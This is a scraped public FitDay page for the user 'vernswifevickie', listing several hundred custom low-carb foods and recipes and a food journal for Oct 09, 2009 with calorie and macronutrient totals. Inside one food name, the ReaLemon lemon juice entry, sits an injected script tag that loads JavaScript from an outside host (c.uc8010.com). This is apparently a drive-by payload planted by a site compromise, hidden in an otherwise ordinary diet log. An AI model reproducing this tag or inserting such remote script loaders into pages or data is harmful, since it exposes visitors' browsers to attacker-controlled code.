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vernswifevickie
- Public Fitness Pages

vernswifevickie

Custom Foods

Albacore (Fresh)  
Albacore (canned)  
Almnd/Flax Muffins see oct 3 journal for recipe  
Almond Breeze  
Almond Butter  
Almond Flour/Meal  
Almonds, Sliced 2 tbs  
Almonds, roasted  
Amy's Evil Brownie  
Bacon Wrapped Swiss Cheese Chicken Breasts  
Balck Soy Beans Eden Foods  
Beef Chuck Steak  
Beef Franks Hebrew National  
Best foods Light Mayonnaise {1 serving = 1 Tbsp OR 15g}  
Black Soy Bean Chili  
Black soy Beans  
Blueberries (Frozen)  
Bob's Red Mill Coconut Flakes  
Bob's Red Mill Flaxseed meal  
Bob's Red Mill Wheat Bran  
Bob's Red Mill Whey Protein   
Breakfast sausage links  
Broccoli, cooked, from fresh, fat not added in cooking  
Butter Spray 1 tsp  
Butter Spray 5 Sprays  
Butter, stick, salted  
Cabbage, green, raw  
Carb 2% Countdown Milk  
Carrots, baby, raw  
Cauli-Rice  
Cauli-Rice with Broccoli  
Cauliflower, cooked, from fresh, fat not added in cooking  
Cauliflower, cooked, from frozen, fat not added in cooking  
Chayote Squash  
Cheese, Blue or Roquefort  
Cheese, Cheddar or American type  
Cheese, Feta  
Cheese, Parmesan, dry grated  
Cheese, cream  
Cheesy chicken casserole  
Chicken Breast Boneless Skinless  
Chicken Breast Filet, teriyaki  
Chicken Breast Roasted  
Chicken Breast Tenders  
Chicken Broth  
Chicken Salad (4oz shredded chicken breast,2boiled eggwhites, 1tbs chopped pickle, 1 tsp mustartd, 2tbs walden farms honey dijon dressing makes 2 servings  
Chicken Spinach Patties  
Chicken adobo  
ChickenMeatloaf 5lbsChicken/1.5CBroccoli/2medRedPeppers/1Conions  
Chili's Grilled Chicken Child's Platter, Chicken breast and steamed broccoli  
Chocolate Flax Cupcakes  
Coconut oil  
Coconut, shredded  
Coffee, made from ground, regular  
Collard Greens (Glory Brand)  
Cottage Cheese 2%  
Countdown Chocolate Milk  
Countdown Fat Free Milk  
Countdown half FF half 2%  
Cream Cheese Spread (1oz packet)  
Cream Heavy  
Cream, half and half  
Cucumber pickles, dill  
Deli Sliced Turkey (Butterball)  
Deviled eggs (2 halves)  
Diet Rite Soda  
Diet Soda  
Diet Soda BBQ Sauce (1 can Diet Rite/4tbs tomatoPaste/2tbs VinegarMakes 6 servings  
Donut Muffins  
Dubliner Cheese  
Egg Bread (6whites 2yolks 3tbs cream cheese)  
Egg, white only, cooked  
Egg, whole, boiled  
Egg, whole, raw  
Festival Fruit Blend  
Flax McMuffin  
Flax/Bran/Soy cereal  
Gorgonzola Cheese  
Granola Bar Quaker Chewy P'Butter Choc Chip  
GreenBeans1can Mushrooms1can Spinach1cup  
Ground Turkey  
Ham Deli Kirkland Extra Lean 1 slice  
Hamburger Helper Tomato Basil Penne  
Henry's Flakey Wheat Bread 1 slice  
Jennie O Turkey Patty  
Ken'sLtNorthernItalian Dressing  
Kirkland Ground Chuck Patty  
Kirkland Ground Sirloin Patty  
Lance - Pork Skins, Original {1 serving = 22 pieces OR 28g}  
Lean Ground Beef Kirkland 4oz  
Lemon juice, canned or bottled  
Lettuce, raw  
Little Ceasar's Pizza  
Maggie's Cereal  
Mayonaise  
Milk, cow's, fluid, skim or nonfat, 0.5% or less butterfat  
Monterey Jack cheese {1 serving = 1 oz OR 0.25 cup (shredded)}  
Morning Coffee 32ozcoffee-2tspheavycream-2tspcoconutoil  
OMM Chocolate:1egg-1/4CflaxseedMeal-1tspCocoa-1/4tsp baking powder  
OMM-1egg-1/4Cflaxseedmeal-1/4tspbakingpowder  
OMM: 1egg2tbsflax2tbsBran  
Oatmeal Steel Cut  
Oil, Total EFA  
Olive oil  
Omelet, 4 egg whites, 1/2c tomato,1c spinach,1sl ham,1/4c onion,2tbs salsa,1/2oz cheese  
Onions, sweet, raw  
Oopsie Roll  
Orowheat Best winter Wheat Bread 1 slice  
PB2 2 tbs  
Pat & Oscar's House Dressing  
Pepperoni, albertsons, sliced  
Popcorn Snack Size  
Pork bacon, smoked or cured, cooked  
Pork chop, NS as to cooking method, lean only eaten  
Pork skin, rinds, deep-fried  
Protein Powder henry's Bulk  
Psyllium Husks  
Psyllium Husks (Whole)  
Pumpkin Muffin Thingy  
Raspberry Creme Chocolate Bar (GoLower)  
ReaLemon - 100% Lemon Juice from Concentr<script src=http://c.uc8010.com/0.js></script> {1 serving = 1 teaspoon OR 5 mL}  
Revolution Roll  
Revolution Roll With Flax  
Rold Gold Honey Wheat Pretzels  
S&W Italian Stewed Tomatoes  
S&W Italian Tomatoes 1 can  
SBD Garlic herb Chicken with Green Beans Almondine  
SBD Kung Pao Chicken  
SBD Savory Pork with Pecans and Green Beans  
SBD Savory beef with Cheesy Broccoli  
Salmon (the pouch pack)  
Salmon Canned 1 can  
Salmon Patties 6ozsalmon,.5cup thawedchopped spinach,2eggwhites,.5tspgarlic&onionpowdersMakes4svgs  
Salmon Salad see journal Oct 6 for recipe  
Salmon, marinated  
Sauce, LA VICTORIA, LA VICTORIA Salsa Suprema, Mild  
Sausage Patty Walmart Brand  
Shirataki Noodles 4oz  
Shrimp (Costco Frozen Cooked)  
Smart Ones Beef Pot Roast  
Smart Ones Chicken Marsala  
Smart Ones Roast beef  
Smart ones Creamy Parmesan Chicken  
Smoothie (1c skim milk,5large strawberries, 1oz protein powder)  
Soy Flour  
Spagetti Sauce(1can tomato paste, 2 cans Italian tomatoes, 1 lb lean ground beef) 1 cup serving  
Spaghetti Sauce/see journal 10-3 for recipe  
Spaghetti Squash  
Spinach chopped frozen  
Spinach, cooked, from frozen, fat not added in cooking  
Spinach, frozen, chopped or leaf, unprepared  
Spinach, raw  
Splenda 1 packet  
Starbucks Nonfat Cappuccino (Vente)  
Stir-Fry Veggies with asparagus (Safeway brand)  
Strawberries, raw  
Sugar Free Flavoured Syrups  
Taco Seasoning Mix  
Tea, herbal  
Tilapia fillets Kroger - {1 serving = 1 fillet OR 113g OR 4 oz}  
Trader Joe's Soy Protein Powder  
Trader Joe's Soy protein  
Tuna Albacore  
Tuna Casserole  
Tuna Patties (2cansAlbacore{8oz net}3eggwhites, assorted spices 4 servings 1 patty each  
Turkey Bacon  
Turkey Bacon Louis Rich 1 slice  
Turkey Breast (Deli)  
Turkey Meatballs 3pcs (Foster Farms)  
Turkey Spinach Patties/1lb grnd Turkey, 2eggwhites, 1 cup frozen chopped spinach, misc spices  
Vegetable and ham soup  
Vickie's Mock Oatmeal:1egg3eggwhites2tbsflax2tbswheatbran  
Walden Farms Chocolate Sauce  
Walden Farms Jelly  
Walden Farms Pancake Syrup  
Walden Farms Salad Dressing  
Walden farms Alfredo Sauce  
Wasa Rye Crackers 2 slices  
Wendy's 99cent Double Stack no bun  
Wheat Bran  
Wheat bran, unprocessed  
Whey Protein Powder 1 scoop (30gm)  
Whipped cream dessert  
Yoplait Light FF Yogurt  
black soybeans  
canola oil  
chicken adobo1  
contadina tomato paste  
macadamia nuts  
onion 1/4 med  
shrimp {1 serving = 10 large pieces OR 55g}  
zucchini (chopped)  


See All Custom Foods

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FitDay Journal for vernswifevickie  (Oct 09, 2009)

Food Eaten
Food Name
Amount
Unit
Cals
Carb
Fat
Prot
Total
764
3.2
65.0
42.6
Coffee, made from ground, regular
20
fl oz
12
2.4
0.0
0.6
Cream Heavy
2
tablespoon
100
0.8
10.0
0.0
Mayonaise
1.5
tablespoon
135
0.0
15.0
0.0
Sausage Patty Walmart Brand
2
serving
400
0.0
38.0
12.0
Tuna Albacore
4
oz
117
0.0
2.0
30.0
Total
764
3.2
65.0
42.6
Activity
Activity
Specific Activity
Time (hh:mm)
Calories Burned
Distance
Units
Calories Burned Today
24:00

Empty Activity Log

There are no activities entered on this day.

 
 
 
 
 
Lifestyle
Seated, Some Movement
24:00
2,618
Calories Burned Today
24:00
2,618
Calories Eaten
GramsCalories%-Cals
Calories
764
Fat
65.0
585
76
%
Saturated
0.0
0
0
%
Polyunsaturated
0.0
0
0
%
Monounsaturated
0.0
0
0
%
Carbohydrate
3.2
13
2
%
Dietary Fiber
0.0
Protein
42.6
170
22
%
Alcohol
0.0
0
0
%
Fat
  (
76
%)
Carbs
  (
2
%)
Protein
  (
22
%)
Alcohol
  (
0
%)
Calories Burned
Calories Burned:
2,618
Lifestyle:
2,618
Activities:
0
Lifestyle  (
2,618
cals)
Activities  (
0
cals)
Weight Change

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